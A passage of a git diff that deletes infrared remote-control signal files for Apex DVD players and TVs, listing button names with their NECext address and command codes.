-name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: TuneUp -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: TuneDown -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: Scan -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: KEY_MP3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir deleted file mode 100644 index e4aae178c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: PBC_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: VOCAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir deleted file mode 100644 index 2e22d2cd3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: BEGINNING -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: ECHO+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: ECHO- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY_MINUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: PBC_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: VOCALASSIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir deleted file mode 100644 index 2ee1c9d02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: program -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 01 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 03 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0F 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 10 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 11 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 12 00 00 00 -# -name: pbc_off -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 14 00 00 00 -# -name: a-b_rpt -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 15 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 16 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 17 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 18 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 1B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 41 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 42 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 43 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 44 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 45 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 46 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 47 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 49 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 51 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 52 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 53 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 54 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 55 00 00 00 -# -name: skipforward -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 56 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 57 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 58 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir deleted file mode 100644 index 9e3b200ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pbc -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 01 00 00 00 -# -name: i/p -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 03 00 00 00 -# -name: pause/step -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 07 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 0F 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 10 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 11 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 12 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 13 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 14 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 15 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 17 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 18 00 00 00 -# -name: nav/speed -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 1B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 41 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 42 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 43 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 44 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 45 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 46 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 47 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 49 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4B 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 51 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 52 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 53 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 54 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 55 00 00 00 -# -name: skip-forward -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 56 00 00 00 -# -name: skip-back -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 57 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 58 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 EE 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir deleted file mode 100644 index e92134f2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 40 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 41 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 46 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 47 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir deleted file mode 100644 index b9d1993e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 40 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 41 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 46 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 47 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir deleted file mode 100644 index b60f2c0b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: kodak -type: parsed -protocol: NECext -address: 04 00 00 00 